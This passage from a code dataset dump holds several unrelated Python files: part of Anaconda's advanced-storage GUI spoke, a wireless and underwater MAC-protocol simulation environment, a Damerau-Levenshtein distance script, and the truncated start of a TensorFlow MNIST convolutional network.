Set up the UI.\n        notebook.get_nth_page(new_page_num).show_all()\n        self._reconfigure_nvdimm_button.set_sensitive(new_page_num == 3)\n\n    def on_row_toggled(self, button, path):\n        if not path:\n            return\n\n        page_index = self._notebook.get_current_page()\n        filter_model = self._pages[page_index].model\n        model_itr = filter_model.get_iter(path)\n        itr = filter_model.convert_iter_to_child_iter(model_itr)\n        self._store[itr][1] = not self._store[itr][1]\n\n        if self._store[itr][1] and self._store[itr][3] not in self._selected_disks:\n            self._selected_disks.append(self._store[itr][3])\n        elif not self._store[itr][1] and self._store[itr][3] in self._selected_disks:\n            self._selected_disks.remove(self._store[itr][3])\n\n        self._update_summary()\n\n    @timed_action(delay=50, threshold=100)\n    def on_refresh_clicked(self, widget, *args):\n        log.debug(\"Refreshing...\")\n        try_populate_devicetree()\n        self.refresh()\n\n    def on_add_iscsi_clicked(self, widget, *args):\n        log.debug(\"Add a new iSCSI device.\")\n        dialog = ISCSIDialog(self.data)\n        self._run_dialog_and_refresh(dialog)\n\n    def on_add_fcoe_clicked(self, widget, *args):\n        log.debug(\"Add a new FCoE device.\")\n        dialog = FCoEDialog(self.data)\n        self._run_dialog_and_refresh(dialog)\n\n    def on_add_zfcp_clicked(self, widget, *args):\n        log.debug(\"Add a new zFCP device.\")\n        dialog = ZFCPDialog(self.data)\n        self._run_dialog_and_refresh(dialog)\n\n    def on_add_dasd_clicked(self, widget, *args):\n        log.debug(\"Add a new DASD device.\")\n        dialog = DASDDialog(self.data)\n        self._run_dialog_and_refresh(dialog)\n\n    def on_reconfigure_nvdimm_clicked(self, widget, *args):\n        log.debug(\"Reconfigure a NVDIMM device.\")\n        namespaces = self._pages[PAGE_NVDIMM].get_selected_namespaces()\n        dialog = NVDIMMDialog(self.data, namespaces)\n        self._run_dialog_and_refresh(dialog)\n\n    def _run_dialog_and_refresh(self, dialog):\n        # Run the dialog.\n        with self.main_window.enlightbox(dialog.window):\n            dialog.refresh()\n            dialog.run()\n\n        # We now need to refresh so any new disks picked up by adding advanced\n        # storage are displayed in the UI.\n        self.refresh()\n\n    @timed_action(delay=1200, busy_cursor=False)\n    def on_filter_changed(self, *args):\n        self._refilter_current_page()\n\n    def on_search_type_changed(self, combo):\n        self._set_notebook_page(\"searchTypeNotebook\", combo.get_active())\n        self._refilter_current_page()\n\n    def on_multipath_type_changed(self, combo):\n        self._set_notebook_page(\"multipathTypeNotebook\", combo.get_active())\n        self._refilter_current_page()\n\n    def on_other_type_combo_changed(self, combo):\n        self._set_notebook_page(\"otherTypeNotebook\", combo.get_active())\n        self._refilter_current_page()\n\n    def on_nvdimm_type_combo_changed(self, combo):\n        self._set_notebook_page(\"nvdimmTypeNotebook\", combo.get_active())\n        self._refilter_current_page()\n\n    def on_z_type_combo_changed(self, combo):\n        self._set_notebook_page(\"zTypeNotebook\", combo.get_active())\n        self._refilter_current_page()\n\n    def _set_notebook_page(self, notebook_name, page_index):\n        notebook = self.builder.get_object(notebook_name)\n        notebook.set_current_page(page_index)\n        self._refilter_current_page()\n\n    def _refilter_current_page(self):\n        index = self._notebook.get_current_page()\n        page = self._pages[index]\n        page.model.refilter()\n","repo_name":"rhinstaller/anaconda","sub_path":"pyanaconda/ui/gui/spokes/advanced_storage.py","file_name":"advanced_storage.py","file_ext":"py","file_size_in_byte":26176,"program_lang":"python","lang":"en","doc_type":"code","stars":494,"dataset":"github-code","pt":"35"}
{"seq_id":"40130182070","text":"import numpy as np \n\n# Optimized for performance\n# Note: not multi-thread safe\nclass DELAY_QUEUE(object):\n\tdef __init__(self, delay: int, reserve: int = 2):\n\t\tsuper(DELAY_QUEUE, self).__init__()\n\t\tself.delay = delay if delay > 0 else 1\n\t\tself.n_transmission = 0\n\t\t# use the reserve trick to accelerate execution\n\t\tself.delay_channel = np.zeros(reserve, dtype=int)\n\t\tself.packet_length = np.zeros(reserve, dtype=int)\n\t\tself.packet_data = -np.ones(reserve, dtype=int)\n\t\n\t# Note: the model assumes that packets have no overlapping\n\t# if the previous transmitted packet longer than the gap between two transmissions\n\t# un-expectable behavior may happen\n\t# time spent is maintained by countdown\n\tdef push(self, length: int, packet_data: int):\n\t\t# lack of space, enlarge\n\t\tif self.delay_channel.size <= self.n_transmission + 1:\n\t\t\t# double the size each time\n\t\t\tnew_delay_channel = np.zeros(2 * self.delay_channel.size, dtype=int)\n\t\t\tnew_packet_length = np.zeros(2 * self.packet_length.size, dtype=int)\n\t\t\tnew_packet_data = -np.ones(2 * self.packet_data.size, dtype=int)\n\t\t\t# copy and push a new item\n\t\t\tnew_delay_channel[1:self.delay_channel.size + 1] = self.delay_channel\n\t\t\tnew_packet_length[1:self.packet_length.size + 1] = self.packet_length\n\t\t\tnew_packet_data[1:self.packet_data.size + 1] = self.packet_data\n\t\t\tnew_delay_channel[0] = self.delay\n\t\t\tnew_packet_length[0] = length\n\t\t\tnew_packet_data[0] = packet_data\n\t\t\t\n\t\t\tself.delay_channel = new_delay_channel\n\t\t\tself.packet_length = new_packet_length\n\t\t\tself.packet_data = new_packet_data\n\t\telse:\n\t\t\t# push an transmission to the queue\n\t\t\tself.delay_channel[1:self.n_transmission + 1] = self.delay_channel[:self.n_transmission]\n\t\t\tself.packet_length[1:self.n_transmission + 1] = self.packet_length[:self.n_transmission]\n\t\t\tself.packet_data[1:self.n_transmission + 1] = self.packet_data[:self.n_transmission]\n\t\t\tself.delay_channel[0] = self.delay\n\t\t\tself.packet_length[0] = length\n\t\t\tself.packet_data[0] = packet_data\n\t\tself.n_transmission += 1\n\n\tdef top(self):\n\t\tif self.n_transmission > 0:\n\t\t\treturn self.delay_channel[self.n_transmission - 1], self.packet_length[self.n_transmission - 1], self.packet_data[self.n_transmission - 1]\n\t\telse:\n\t\t\treturn 0xffffffff, -1, -1\n\n\tdef pop(self):\n\t\t# check the oldest packet in the queue\n\t\ttime_remain, top_packet_len, packet_data = self.top()\n\t\t# if arrive, return 1\n\t\tif time_remain <= 0:\n\t\t\t# the last time slot of transmission, erase\n\t\t\tif time_remain + top_packet_len <= 1:\n\t\t\t\t# lazy erase\n\t\t\t\tself.n_transmission -= 1\n\t\t\t\t# only the finished can return data\n\t\t\t\treturn -1, packet_data\n\t\t\treturn 1, -1\n\t\t# if nothing arrive or empty queue, return 0\n\t\treturn 0, -1\n\t\n\t# API for mobility update\n\tdef update_delay(self, new_delay: int):\n\t\tself.delay = new_delay if new_delay > 0 else 1\n\n\t# API between CHANNEL and DELAY_QUEUE\n\t# Input: length-the transmission packet length at current sub time slot\n\t# \t\t if no transmission, set length = 0\n\t# Output: if packet arrive at this time slot, return 1, \n\t#         if it is the finishing of the packet, return -1, otherwise 0\n\t# Note: use the cumulative absolute value of the return to get packet size\n\t#       use the -1 to indicate finish\n\t# Note: becuase the step behavior is push first, then time slot + 1, then pop\n\t#       therefore, the minimum of delay is 1, \n\t#       if 0 was set, cannot distinguish the difference between packet length 1 and 2\n\t# Note: the model can be treated as pushing at the begining edge of the time slot\n\t#       poping at the finishing edge of the time slot\n\tdef step(self, length: int = 1, packet_data: int = -1):\n\t\t# only packet length larger than 0 means a transmit\n\t\tif length > 0:\n\t\t\tself.push(length, packet_data)\n\t\tself.delay_channel -= 1\n\t\treturn self.pop()\n\n# collection of all-nodes full-duplex channels\nclass CHANNEL(object):\n\tdef __init__(self, n_nodes: int, delay: np.array):\n\t\tsuper(CHANNEL, self).__init__()\n\t\t# number of nodes of the system\n\t\tself.n_nodes = n_nodes\n\t\t# delay is an integer vector with n_nodes length\n\t\t# delay * sub time slot length * propagation speed = distance\n\t\tself.delay = delay\n\t\t# the memory used to track transmitting packets\n\t\tself.sink_receiving_counter = np.zeros(self.n_nodes, dtype=int)\n\t\tself.sink_throughput_trace = np.zeros(self.n_nodes, dtype=int)\n\t\t# because src->sink delay channel can exist more than one packet\n\t\t# use the delay queue to implement it\n\t\t# object dtype numpy array is less effieicnt than python list\n\t\t# used for action arrival\n\t\tself.src2sink_delay_channels = [DELAY_QUEUE(self.delay[i]) for i in range(self.n_nodes)]\n\t\t# used for observation update\n\t\tself.sink2src_delay_channels = [DELAY_QUEUE(self.delay[i]) for i in range(self.n_nodes)]\n\t\t# self.sink2src_delay_channels = [DELAY_QUEUE(1) for i in range(self.n_nodes)] # Xuan's configuration\n\t\t# because sink should 1 time slot slower than the source\n\t\t# use it to store previous time slot observation\n\t\tself.previous_obs = -1\n\t\n\t# TODO: add the translation that returns more comprehensive info\n\tdef __str__(self):\n\t\treturn str(self.sink_throughput_trace)\n\n\tdef get_trace(self):\n\t\treturn self.sink_throughput_trace\n\t\n\t# API for mobility update\n\t# It is inefficient becuase the organization of delay queues\n\tdef update_delay(self, new_delays: np.array):\n\t\tfor i in range(self.n_nodes):\n\t\t\tself.src2sink_delay_channels[i].update_delay(new_delays[i])\n\t\t\tself.sink2src_delay_channels[i].update_delay(new_delays[i])\n\n\t# Each call of this function will be a new sub time slot\n\t# Input: actions-the vector denotes actions of all source nodes in the network, 0/1 for trans/not\n\t# Return: Observation-the broadcast contents recieved for all source nodes\n\t#         Because different nodes has different delay, their observations are different\n\t# Note: The rewards is based on the observation, it is the responsibility of nodes\n\tdef step(self, actions: np.array, packet_length: int = 1):\n\t\tuplink_channel_output = np.array([self.src2sink_delay_channels[i].step(actions[i] * packet_length)[0] for i in range(self.n_nodes)], dtype=int)\n\t\t# in a time slot, the observation to send is the same\n\t\t# but delay are different, so different nodes can see different obs\n\t\tObservations = np.array([i.step(1, self.previous_obs)[1] for i in self.sink2src_delay_channels], dtype=int)\n\t\tuplink_channel_throughput = np.abs(uplink_channel_output)\n\t\tself.sink_receiving_counter += uplink_channel_throughput\n\t\tobs = -1\n\t\t# from the sink's perspective, success includes nodes ID info\n\t\tsuccess_trace = np.zeros(self.n_nodes, dtype=int)\n\t\t# for uplink, check sink state\n\t\t# Observations format: [collided, idle, successful]\n\t\tif uplink_channel_throughput.sum() == 1:\n\t\t\t# success\n\t\t\tif -1 in uplink_channel_output:\n\t\t\t\t# when a whole packet finished, the packet size is the effective payload\n\t\t\t\t# currently, the trace only the cumulative result, it can be extended to step trace\n\t\t\t\tself.sink_throughput_trace[uplink_channel_output == -1] += self.sink_receiving_counter[uplink_channel_output == -1]\n\t\t\t\tself.sink_receiving_counter[uplink_channel_output == -1] = 0\n\t\t\t\tsuccess_trace[uplink_channel_output == -1] = 1\n\t\t\t\t# only a success whole transmission lead to success observation\n\t\t\t\tobs = 2\n\t\t\telse:\n\t\t\t\tobs = 1\n\t\telif uplink_channel_throughput.sum() == 0:\n\t\t\t# idle\n\t\t\tobs = 1\n\t\telse:\n\t\t\t# collision\n\t\t\tself.sink_receiving_counter[uplink_channel_throughput == 1] = 0\n\t\t\tobs = 0\n\t\tself.previous_obs = obs\n\t\treturn Observations, success_trace\n\n\t# intelligent sink API \n\t# Each call of this function will be a new sub time slot\n\t# Input: actions is all source nodes action\n\t#        broadcast is the source node ID used to broadcast\n\t# Return: Observation-output of uplinks (target, always only one +-1)\n\t#         src_instruction-source nodes listened contents\n\t# Note: The rewards is based on the observation, agents calculate by themselves\n\tdef cycle(self, actions: np.array, broadcast: np.array, packet_length: int = 1):\n\t\tObservations = np.array([self.src2sink_delay_channels[i].step(actions[i] * packet_length)[0] for i in range(self.n_nodes)], dtype=int)\n\t\tabs_obs = np.abs(Observations)\n\t\tsrc_instruction = np.array([i.step(1, broadcast)[1] for i in self.sink2src_delay_channels], dtype=int)\n\t\tsuccess_trace = np.zeros(self.n_nodes, dtype=int)\n\t\tself.sink_receiving_counter += abs_obs\n\t\tif -1 in Observations and abs_obs.sum() == 1:\n\t\t\tself.sink_throughput_trace[Observations == -1] += self.sink_receiving_counter[Observations == -1]\n\t\t\tself.sink_receiving_counter[Observations == -1] = 0\n\t\t\tsuccess_trace[Observations == -1] = 1\n\t\telif abs_obs.sum() > 1:\n\t\t\tself.sink_receiving_counter[abs_obs == 1] = 0\n\t\treturn Observations, src_instruction, success_trace\n\n# Normal nodes decision making simulation\nclass ENVIRONMENT(object):\n\tdef __init__(self,\n\t\t\t\t n_agents: int,\n\t\t\t\t n_others: int,\n\t\t\t\t nodes_mask: np.array,\n\t\t\t\t packet_length: int = 1,\n\t\t\t\t guard_length: int = 1,\n\t\t\t\t sub_slot_length: int = 1e7,\n\t\t\t\t frame_length: int = 10,\n\t\t\t\t tdma_occupancy: int = 2,\n\t\t\t\t aloha_prob: float = 0.2,\n\t\t\t\t window_size: int = 2,\n\t\t\t\t max_backoff: int = 2,\n\t\t\t\t env_mode: int = 0,\n\t\t\t\t mac_mode: int = 0,\n\t\t\t\t sink_mode: int = 0,\n\t\t\t\t nodes_delay: np.array = None,\n\t\t\t\t num_sub_slot: int = 1,\n\t\t\t\t movable: bool = False,\n\t\t\t\t move_freq: float = 0,\n\t\t\t\t save_trace: bool = False,\n\t\t\t\t n_iter: int = 1000,\n\t\t\t\t log_name: str = '',\n\t\t\t\t config_name: str = '',\n\t\t\t\t ):\n\t\tsuper(ENVIRONMENT, self).__init__()\n\t\t# Most important parameters\n\t\t# Ruoyu: agents are user-defined MAC nodes\n\t\t# if n_agents == 0, it is the pure conventional network simulation\n\t\tself.n_agents = n_agents\n\t\tself.n_others = n_others\n\t\tself.n_nodes = self.n_agents + self.n_others\n\t\tassert self.n_nodes < 1024\n\t\t# Ruoyu: Support for hybrid network\n\t\t# 0-agent, 1-TDMA, 2-qALOHA, 3-FW_ALOHA, 4-EB_ALOHA\n\t\tself.nodes_mask = nodes_mask\n\t\tassert self.nodes_mask.size == self.n_nodes\n\t\t\n\t\t# Ruoyu: simulation modes selection\n\t\t# env_mode 0: RF, env_mode others: UAN\n\t\tself.env_mode = env_mode\n\t\t# mac_mode 0: sync, mac_mode others: async\n\t\tself.mac_mode = mac_mode\n\t\t# sink_mode 0: src-agent, sink_mode other: sink-agent\n\t\tself.sink_mode = sink_mode\n\n\t\tself.packet_length = 1 if self.env_mode == 0 else packet_length\n\t\tself.guard_length = 0 if self.env_mode == 0 else guard_length\n\t\tself.sending_counter = np.zeros(self.n_nodes, dtype=int)\n\t\t# sub time slot length, unit in nano second (10^-9 s)\n\t\t# default 0.01 s\n\t\tself.sub_slot_length = sub_slot_length\n\n\t\t# conventional nodes decision making parameters\n\t\tself.node_actions = np.zeros(self.n_nodes, dtype=int)\n\t\tself.frame_length = frame_length\n\t\tself.tdma_occupancy = tdma_occupancy\n\t\tself.tdma = np.zeros(self.frame_length, dtype=int)\n\t\tself.tdma[np.random.choice(self.frame_length, self.tdma_occupancy)] = 1\n\t\tself.tdma_counter = 0\n\t\tself.aloha_prob = aloha_prob\n\t\tself.window_size = window_size\n\t\tself.max_backoff = max_backoff\n\t\tself.eb_collision_count = np.zeros(self.n_nodes, dtype=int) \n\t\tself.window = np.random.randint(0, self.window_size * 2**self.eb_collision_count, dtype=int)\n\n\t\t# based on simulation mode, use different step function to ensure the APIs are the same\n\t\tself.step = self.source_agent if self.sink_mode == 0 else self.sink_agent\n\t\t# delay is the propagation delay measured by number of sub time slots \n\t\tself.nodes_delay = np.ones(self.n_nodes, dtype=int) if self.env_mode == 0 else nodes_delay\n\t\tassert self.nodes_delay.size == self.n_nodes\n\t\tself.num_sub_slot = 1 if self.env_mode == 0 else num_sub_slot\n\t\tself.channel = CHANNEL(self.n_nodes, self.nodes_delay)\n\t\tself.n_padding = 2 * self.nodes_delay.max()\n\n\t\tself.previous_action = np.zeros(self.num_sub_slot, dtype=int)\n\n\t\t# mobile simulator need to be initlized outside\n\t\tself.movable = movable\n\t\tif self.movable:\n\t\t\tself.move_freq = move_freq\n\t\t\t\n\t\t# Ruoyu: Track the system throughput is the environment responsibility\n\t\t# it has large overhead of memory, but we need that data\n\t\tself.save_trace = save_trace\n\t\tself.trace_counter = 0\n\t\tif self.save_trace:\n\t\t\tself.n_iter = n_iter\n\t\t\tself.log_name = log_name\n\t\t\tself.config_name = config_name\n\t\t\t# the addtional rows are for the drain reward\n\t\t\tself.transmission_logs = np.zeros((self.n_iter + 1, self.n_nodes), dtype=int)\n\t\telse:\n\t\t\tself.transmission_logs = np.zeros(self.n_nodes, dtype=int)\n\n\t# attach the mobile simulator\n\tdef attach_spatial(self, spatial):\n\t\tself.spatial = spatial\n\t\tself.move_counter = 0\n\t\tnew_distribution = self.spatial.get_distance()\n\t\tnew_delay = self.distance2delay(new_distribution)\n\t\tself.update_delay(new_delay)\n\n\tdef reset(self):\n\t\tself.node_actions = np.zeros(self.n_nodes, dtype=int)\n\t\tself.tdma = np.zeros(self.frame_length, dtype=int)\n\t\tself.tdma[np.random.choice(self.frame_length, self.tdma_occupancy)] = 1\n\t\tself.tdma_counter = 0\n\t\tself.eb_collision_count = np.zeros(self.n_nodes, dtype=int) \n\t\tself.window = np.random.randint(0, self.window_size * 2**self.eb_collision_count, dtype=int)\n\t\tself.channel = CHANNEL(self.n_nodes, self.nodes_delay, self.num_sub_slot)\n\t\tself.previous_action = np.zeros(self.num_sub_slot, dtype=int)\n\t\tself.trace_counter = 0\n\t\tif self.movable:\n\t\t\tself.move_counter = 0\n\n\t# conventional nodes decision making\n\t# granularity is time slot, call it at the beginning of a time slot\n\t# action representation is consistent between sync and async mode\n\t# 0: no transmission, 1: transmit at the first sub time slot, so on so forth\n\tdef get_actions(self):\n\t\t# TDMA, always transmit at the beginning of the time slot\n\t\tself.node_actions[self.nodes_mask == 1] = self.tdma[self.tdma_counter]\n\t\t\n\t\t# q-ALOHA, sync mode transmits at the beginning, async will random choose transmit start time\n\t\tself.node_actions[self.nodes_mask == 2] = (np.random.uniform(0, 1, self.n_nodes) < self.aloha_prob)[self.nodes_mask == 2]\n\t\tif self.mac_mode:\n\t\t\tself.node_actions[self.nodes_mask == 2] *= np.random.randint(1, self.num_sub_slot + 1 - self.guard_length, self.n_nodes)[self.nodes_mask == 2]\n\n\t\t# FW/EB-ALOHA\n\t\tself.node_actions[self.nodes_mask == 3] = (self.window[self.nodes_mask == 3] == 0)\n\t\tself.node_actions[self.nodes_mask == 4] = (self.window[self.nodes_mask == 4] == 0)\n\n\t# call the function at the end of a time slot\n\t# this function will update all internal counters\n\tdef update_counters(self):\n\t\t# update tdma period counter\n\t\tself.tdma_counter = (self.tdma_counter + 1) % self.frame_length\n\t\tself.window -= 1\n\t\tself.eb_collision_count = np.minimum(self.eb_collision_count, self.max_backoff)\n\t\tself.window[self.window < 0] = np.random.randint(0, self.window_size * 2**self.eb_collision_count)[self.window < 0]\n\n\t# post process observations\n\t# if the observation has more complex architecture\n\t# add the decoding part here\n\tdef decode_obs(self, Observations):\n\t\t# treat no data as idle\n\t\tObservations[Observations == -1] = 1\n\t\t# shift [0, 1, 2] to [-1, 0, 1]\n\t\tObservations -= 1\n\t\treturn Observations\n\t\n\tdef distance2delay(self, distance):\n\t\t# RF propagation delay can be neglect\n\t\tif self.env_mode == 0:\n\t\t\treturn np.ones(self.n_nodes, dtype=int)\n\t\telse:\n\t\t\t# distance should in unit of meter\n\t\t\t# UAN propagation speed 1500m/s\n\t\t\t# ceil rather than floor\n\t\t\treturn -(((distance / 1500) * 1e9) // -self.sub_slot_length).astype(int)\n\n\t# for spatial initialization based on the current delay\n\tdef delay2distance(self):\n\t\t# only the UAN needs to concern this concept\n\t\treturn 1500 * (self.nodes_delay.astype(float) * self.sub_slot_length * 1e-9)\n\n\tdef update_delay(self, delay):\n\t\tself.nodes_delay = delay\n\t\tself.channel.update_delay(self.nodes_delay)\n\n\t# src-agent ENV API\n\t# there is no more than 1 agents, the action is an integer\n\t# this function is compatible to non-agent simulation\n\tdef source_agent(self, action=0):\n\t\t# get the action of this time slot\n\t\tself.get_actions()\n\t\tself.node_actions[self.nodes_mask == 0] = action\n\t\tObservations = np.zeros((self.num_sub_slot, self.n_nodes), dtype=int)\n\t\tSuccess_trace = np.zeros((self.num_sub_slot, self.n_nodes), dtype=int)\n\t\tfor i in range(self.num_sub_slot):\n\t\t\tsub_slot_action = np.zeros(self.n_nodes, dtype=int)\n\t\t\tsub_slot_action[self.node_actions == 1] = 1\n\t\t\t# eliminate overlapping sending case\n\t\t\tsub_slot_action[self.sending_counter != 0] = 0\n\t\t\tself.sending_counter[sub_slot_action == 1] = self.packet_length\n\t\t\t# for async mode, when action == 1, it is time to go\n\t\t\tself.node_actions -= 1\n\t\t\tself.sending_counter -= 1\n\t\t\tself.sending_counter[self.sending_counter < 0] = 0\n\t\t\t# Note: obs may contain -1, represent noting\n\t\t\tObservations[i, :], Success_trace[i, :] = self.channel.step(sub_slot_action, self.packet_length)\n\n\t\t\t# mobility update\n\t\t\tif self.movable and self.move_freq != 0:\n\t\t\t\tself.move_counter += 1\n\t\t\t\tif (1 / self.move_counter) <= self.move_freq:\n\t\t\t\t\tself.spatial.step()\n\t\t\t\t\tnew_distribution = self.spatial.get_distance()\n\t\t\t\t\tnew_delay = self.distance2delay(new_distribution)\n\t\t\t\t\tself.update_delay(new_delay)\n\t\t\t\t\tself.move_counter = 0\n\t\t\n\t\t# how to use depends on the agent\n\t\tObservations = self.decode_obs(Observations)\n\n\t\t# update internal counters\n\t\tself.eb_collision_count[(Observations < 0).sum(0) > 0] += 1\n\t\tself.update_counters()\n\n\t\tif self.save_trace:\n\t\t\tself.transmission_logs[self.trace_counter, :] = Success_trace.sum(0)\n\t\telse:\n\t\t\tself.transmission_logs += Success_trace.sum(0)\n\t\tself.trace_counter += 1\n\t\t\n\t\treturn Observations[:, self.nodes_mask == 0]\n\n\t# sink-agent ENV API\n\t# main part in the CHANNEL (sink)\n\t# ENVIRONMENT just provides APIs for agent\n\t# dimensions: action: # sub * 1\n\t#             obs: # sub * n_nodes\n\t#             rewards: 1 * n_nodes\n\tdef sink_agent(self, broadcast):\n\t\tObservations = np.zeros((self.num_sub_slot, self.n_nodes), dtype=int)\n\t\tSuccess_trace = np.zeros((self.num_sub_slot, self.n_nodes), dtype=int)\n\t\tnodes_idx = np.array([i for i in range(self.n_nodes)], dtype=int)\n\t\tfor i in range(self.num_sub_slot):\n\t\t\tsub_slot_action = np.zeros(self.n_nodes, dtype=int)\n\t\t\tsub_slot_action[nodes_idx == self.previous_action] = 1\n\t\t\t# eliminate overlapping sending case\n\t\t\tsub_slot_action[self.sending_counter != 0] = 0\n\t\t\tself.sending_counter[sub_slot_action == 1] = self.packet_length\n\t\t\tself.sending_counter -= 1\n\t\t\tself.sending_counter[self.sending_counter < 0] = 0\n\t\t\tObservations[i, :], self.previous_action, Success_trace[i, :] = self.channel.cycle(sub_slot_action, broadcast[i], self.packet_length)\n\n\t\tif self.save_trace:\n\t\t\tself.transmission_logs[self.trace_counter, :] = Success_trace.sum(0)\n\t\telse:\n\t\t\tself.transmission_logs += Success_trace.sum(0)\n\t\tself.trace_counter += 1\n\t\t\n\t\treturn Observations\n\n\t# drain the delay queue\n\t# store logs and configs\n\t# return statistic throughput\n\tdef finalize(self):\n\t\tzero_padding_actions = np.zeros(self.n_nodes, dtype=int)\n\t\tSuccess_trace = np.zeros((self.n_padding, self.n_nodes), dtype=int)\n\t\tnodes_idx = np.array([i for i in range(self.n_nodes)], dtype=int)\n\t\tfor i in range(self.n_padding):\n\t\t\tif self.sink_mode == 0:\n\t\t\t\t_, Success_trace[i, :] = self.channel.step(zero_padding_actions, self.packet_length)\n\t\t\telse:\n\t\t\t\tzero_padding_actions[nodes_idx == self.previous_action] = 1\n\t\t\t\tzero_padding_actions[nodes_idx != self.previous_action] = 0\n\t\t\t\t_, self.previous_action, Success_trace[i, :] = self.channel.cycle(zero_padding_actions, 1023, self.packet_length)\n\t\t\t# mobility update\n\t\t\tif self.movable and self.move_freq != 0:\n\t\t\t\tself.move_counter += 1\n\t\t\t\tif (1 / self.move_counter) <= self.move_freq:\n\t\t\t\t\tself.spatial.step()\n\t\t\t\t\tnew_distribution = self.spatial.get_distance()\n\t\t\t\t\tnew_delay = self.distance2delay(new_distribution)\n\t\t\t\t\tself.update_delay(new_delay)\n\t\t\t\t\tself.move_counter = 0\n\n\t\tif self.movable and self.move_freq != 0:\n\t\t\tself.spatial.finalize()\n\n\t\tif self.save_trace:\n\t\t\tself.transmission_logs[self.trace_counter, :] = Success_trace.sum(0)\n\t\t\tnp.savetxt(self.log_name, self.transmission_logs[:self.trace_counter + 1, :], fmt='%d')\n\t\t\twith open(self.config_name, 'a') as f:\n\t\t\t\tconfig_list = ['n_agents', 'n_others', 'nodes_mask', 'packet_length', 'guard_length', 'frame_length', 'tdma_occupancy', \n\t\t\t\t\t\t\t   'tdma', 'aloha_prob', 'window_size', 'max_backoff', 'env_mode', 'mac_mode', 'sink_mode',\n\t\t\t\t\t\t\t   'nodes_delay', 'num_sub_slot', 'movable', 'move_freq']\n\t\t\t\tf.write('\\n======= ENVIRONMENT =======\\n')\n\t\t\t\tf.write('\\n'.join([f'{config_key}: {self.__dict__[config_key]}' for config_key in config_list if config_key in self.__dict__]))\n\t\t\t\tf.write('\\n')\n\t\t\t\tf.close()\n\t\telse:\n\t\t\tself.transmission_logs += Success_trace.sum(0)\n\t\t\tprint(f'{self.n_agents + self.n_others}-nodes system throughput: {(self.transmission_logs / self.trace_counter + 1).sum()}')\n\t\treturn self.channel.get_trace()\n","repo_name":"ruoyuwang79/HMMACS","sub_path":"src/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":20469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34161757900","text":"def damerau_levenshtein_distance(s1, s2):\n    # İki boş string arasındaki mesafe 0'dır\n    if len(s1) == 0:\n        return len(s2)\n    if len(s2) == 0:\n        return len(s1)\n    \n    # İki stringin de uzunluğunu alıyoruz\n    len_s1 = len(s1)\n    len_s2 = len(s2)\n    \n    # Mesafeyi hesaplamak için bir matris oluşturuyoruz\n    dist = [[0] * (len_s2 + 1) for _ in range(len_s1 + 1)]\n    \n    # İlk satırı ve sütunu başlangıç değerleriyle dolduruyoruz\n    for i in range(len_s1 + 1):\n        dist[i][0] = i\n    for j in range(len_s2 + 1):\n        dist[0][j] = j\n    \n    # Damerau-Levenshtein mesafesi hesaplamak için dinamik programlama yöntemini kullanıyoruz\n    for i in range(1, len_s1 + 1):\n        for j in range(1, len_s2 + 1):\n            cost = 0 if s1[i - 1] == s2[j - 1] else 1\n            dist[i][j] = min(dist[i - 1][j] + 1,            # Silme\n                             dist[i][j - 1] + 1,            # Ekleme\n                             dist[i - 1][j - 1] + cost)     # Değiştirme\n            \n            if i > 1 and j > 1 and s1[i - 1] == s2[j - 2] and s1[i - 2] == s2[j - 1]:\n                dist[i][j] = min(dist[i][j], dist[i - 2][j - 2] + cost)  # Transpozisyon\n    return dist[len_s1][len_s2]\nwhile True:\n    ilk=input(\"First word:\")\n    ikinci=input(\"Second word:\")\n\n    print(\"Distance between two words:\",damerau_levenshtein_distance(ilk,ikinci))\n\n    if(ilk==\"0\" or ikinci==0):\n        break\n","repo_name":"vakkaskarakurt/Damerau_Levenshtein","sub_path":"DamerauLevensthein.py","file_name":"DamerauLevensthein.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35441224126","text":"from read_image_data import retrieve_image_data\nfrom read_labels import retrieve_labels\nimport numpy as np\nimport tensorflow as tf\n\n# Retrieve the training data\ntraining_images = retrieve_image_data(\"./../data/train-images.idx3-ubyte\", range(0, 60000))\ntraining_labels = retrieve_labels(\"./../data/train-labels.idx1-ubyte\", range(0, 60000))\n\n# Retrieve the test data\ntest_images = retrieve_image_data(\"./../data/t10k-images.idx3-ubyte\", range(0, 10000))\ntest_labels = retrieve_labels(\"./../data/t10k-labels.idx1-ubyte\", range(0, 10000))\n\n# Declare hyperparameters\nlearning_rate = .0001\nlamb = 0.01\nepochs = 10\nbatch_size = 100\n\n# Declare the training data placeholders\nx = tf.compat.v1.placeholder(tf.float32, [None, 784]) # 28 * 28 = 784 pixels\ny = tf.compat.v1.placeholder(tf.float32, [None, 10]) # 10 digits\n\n# Reshape the input data to prepare for convolution\nx_reshaped = tf.reshape(x, [-1, 28, 28, 1])\n\ndef create_conv_layer(input_data, num_input_channels, num_filters, filter_shape, pool_shape, name):\n\t\"\"\"\n\tReturn a new convolutional layer called \"name\" that is applied to \"input_data\". Specify depth of \n\tthe input and output with \"num_input_channels\" and \"num_filters\". Also specify the shape of the\n\tconvolutional filters and max pooling dimensions with \"filter_shape\" and \"pool_shape\"\n\t\"\"\"\n\n\t# Set up the shape of the convolutional filters\n\tconv_shape = [filter_shape[0], filter_shape[1], num_input_channels, num_filters]\n\n\t# Initialize weights and bias for the convolutional filters\n\tW = tf.Variable(tf.random.normal(conv_shape, stddev = 0.03), name = name + '_W')\n\tb = tf.Variable(tf.random.normal([num_filters]), name = name + '_b')\n\n\t# Set up the convolutional layer operation and add the bias\n\toutput_layer = tf.nn.conv2d(input_data, W, [1, 1, 1, 1], padding = \"SAME\") + b\n\n\t# Apply ReLU activation function\n\toutput_layer = tf.nn.relu(output_layer)\n\n\t# Perform 2 x 2 max pooling\n\tksize_and_strides = [1, pool_shape[0], pool_shape[1], 1] # no overlap so dimensions and strides are equal\n\toutput_layer = tf.nn.max_pool2d(output_layer, ksize = ksize_and_strides, strides = ksize_and_strides, padding = \"SAME\")\n\n\treturn output_layer\n\n# Create new convolutional layers\nconv_layer1 = create_conv_layer(x_reshaped, 1, 32, [5, 5], [2, 2], \"layer1\")\nconv_layer2 = create_conv_layer(conv_layer1, 32, 64, [5, 5], [2, 2], \"layer2\")\n\n# Flatten the output of the convolutional layers to a 1d array\nx_flattened = tf.reshape(conv_layer2, [-1, 7 * 7 * 64])\n\n# Declare weights connecting last convolutional layer to dense layer\nW1 = tf.Variable(tf.random.normal([7 * 7 * 64, 